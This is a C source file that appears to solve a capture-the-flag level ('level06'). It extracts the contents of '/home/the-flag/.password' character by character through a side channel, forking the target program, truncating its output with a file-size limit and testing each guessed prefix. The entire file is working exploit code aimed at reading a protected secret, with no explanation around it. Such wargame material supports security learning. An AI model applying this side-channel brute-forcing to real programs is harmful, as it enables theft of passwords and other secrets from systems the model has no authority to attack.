1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
|
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <limits.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/wait.h>
int testfragment(const char *str)
{
int out[2];
pipe2(out, O_NONBLOCK);
if (fork()) {
int status;
close(out[1]);
status = wait(NULL);
while (getpgid(status + 1) == getpid())
usleep(100);
status = read(out[0], NULL, 1);
close(out[0]);
return status == 0;
} else {
int file;
struct rlimit limit;
char buffer[1025];
char filename[] = "/tmp/level06-XXXXXX";
dup2(out[1], STDOUT_FILENO);
close(out[0]);
file = mkstemp(filename);
unlink(filename);
fcntl(file, F_SETFL, fcntl(file, F_GETFL) & ~O_NONBLOCK);
dup2(file, STDERR_FILENO);
getrlimit(RLIMIT_FSIZE, &limit);
limit.rlim_cur = 33 + strlen(str);
setrlimit(RLIMIT_FSIZE, &limit);
snprintf(buffer, 1025, "%s~", str);
execl("/levels/level06", "level06", "/home/the-flag/.password", buffer, NULL);
}
}
int testfull(const char *str)
{
int out[2];
pipe(out);
if (fork()) {
char result[35 + strlen(str)];
memset(result, 0, sizeof(result));
close(out[1]);
wait(NULL);
read(out[0], &result, sizeof(result));
close(out[0]);
return result[sizeof(result) - 1] == 'W';
} else {
dup2(out[1], STDERR_FILENO);
close(out[0]);
close(STDOUT_FILENO);
execl("/levels/level06", "level06", "/home/the-flag/.password", str, NULL);
}
}
char allowed_chars[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
int main(int argc, char *argv[])
{
char buffer[1024];
int i, j, len;
char c;
memset(buffer, 0, 1024);
len = strlen(allowed_chars);
for (i = 0; i < 1024; ++i) {
for (j = 0; j < len; ++j) {
buffer[i] = allowed_chars[j];
printf("\r\033[2K%s", buffer);
fflush(stdout);
if (testfragment(buffer)) {
if (testfull(buffer)) {
printf("\n");
return 0;
}
break;
}
}
}
printf("\r\033[2Kunknown\n");
return 1;
}
|
